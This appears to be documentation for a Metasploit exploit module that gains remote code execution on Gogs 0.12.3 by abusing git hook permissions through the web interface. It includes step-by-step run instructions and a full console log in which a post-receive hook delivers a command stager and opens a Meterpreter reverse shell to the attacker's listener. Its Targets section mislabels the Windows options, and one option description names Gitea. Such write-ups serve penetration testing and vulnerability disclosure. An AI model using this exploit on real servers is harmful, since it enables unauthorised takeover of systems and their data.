## Vulnerable Application

### Description
This module leverages an insecure setting to get remote code execution on the
target OS in the context of the user running Gogs. This is possible when the
current user is allowed to create `git hooks`, which is the default for
administrative users. For non-administrative users, the permission needs to be
specifically granted by an administrator.

To achieve code execution, the module authenticates to the Gogs web interface,
creates a temporary repository, sets a `post-receive` git hook with the payload
and creates a dummy file in the repository. This last action will trigger the
git hook and execute the payload. Everything is done through the web interface.

No mitigation has been implemented so far (latest stable version is 0.12.3).

This module has been tested successfully against version 0.12.3 on Docker.
Windows version could not be tested since the git hook feature seems to be
broken.

### Setup

Follow the installation steps:
- With Docker: https://github.com/gogs/gogs/tree/main/docker
- From binary: https://gogs.io/docs/installation/install_from_binary
- From package: https://gogs.io/docs/installation/install_from_packages

## Verification Steps

1. Install the application (follow [Setup](#setup))
1. Start msfconsole
1. Do: `use multi/http/gogs_git_hooks_rce`
1. Do: `set USERNAME <username>`
1. Do: `set PASSWORD <password>`
1. Do: `set rhosts <ip>`
1. Do: `set rport <port>`
1. Do: `set lhost <ip>`
1. Do: `set target <target #>`
1. Do: `run`
1. You should get session.

## Targets

### 0 (Unix Command)

This executes a Unix command.

### 1 (Linux Dropper)

This uses a Linux dropper to execute code.

### 0 (Unix Command)

This executes a Windows command.

### 1 (Linux Dropper)

This uses a Windows dropper to execute code.

## Options

### TARGETURI

The base path of the Gitea application, which is set to `/` by default.

### USERNAME

The username to authenticate with.

### PASSWORD

The password to authenticate with.

## Scenarios

### Gogs 0.12.3 on Docker

```
msf6 > use multi/http/gogs_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gogs_git_hooks_rce) > set USERNAME msfuser
USERNAME => msfuser
msf6 exploit(multi/http/gogs_git_hooks_rce) > set PASSWORD Msf!23
PASSWORD => Msf!23
msf6 exploit(multi/http/gogs_git_hooks_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/gogs_git_hooks_rce) > set RPORT 10080
RPORT => 10080
msf6 exploit(multi/http/gogs_git_hooks_rce) > set LHOST 192.168.1.75
LHOST => 192.168.1.75
msf6 exploit(multi/http/gogs_git_hooks_rce) > options

Module options (exploit/multi/http/gogs_git_hooks_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   Msf!23           yes       Password to use
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10080            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   msfuser          yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.75     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(multi/http/gogs_git_hooks_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gogs_git_hooks_rce) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Gogs found
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Authenticate with "msfuser/Msf!23"
[*] Get "csrf" value
[+] csrf=RDAhjRw_I0Uf85CuY4_SBFjbO1A6MTYxNzIwMDUzNjMzNjg2NjEwMA
[+] Logged in
[*] Create repository "Sonsing_Duobam"
[*] Get "csrf" and "user_id" values
[+] csrf=sOMJHrFMKnfcrle5apA9CzNJ4DQ6MTYxNzIwMDUzNzMwMDk0MTgwMA
[+] user_id=1
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAA...<redacted>
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAA...<redacted>
[*] Setup post-receive hook with command
[*] Get "csrf" value
[+] csrf=sOMJHrFMKnfcrle5apA9CzNJ4DQ6MTYxNzIwMDUzNzMwMDk0MTgwMA
[+] Git hook setup
[*] Create a dummy file on the repo to trigger the payload
[*] Get "csrf" and "last_commit" values
[+] csrf=sOMJHrFMKnfcrle5apA9CzNJ4DQ6MTYxNzIwMDUzNzMwMDk0MTgwMA
[+] last_commit=f8bbde6c14b8bbe92edfc802812a24be30e3fdbb
[*] qJcA.txt created
[+] File created, shell incoming...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.1.75
[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.75:61502) at 2021-03-31 16:22:20 +0200
[*] Cleaning up
[*] Get "csrf" value
[+] csrf=sOMJHrFMKnfcrle5apA9CzNJ4DQ6MTYxNzIwMDUzNzMwMDk0MTgwMA
[*] Repository Sonsing_Duobam deleted.

meterpreter > getuid
Server username: git @ 4f1193a0be31 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 4.19.121-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
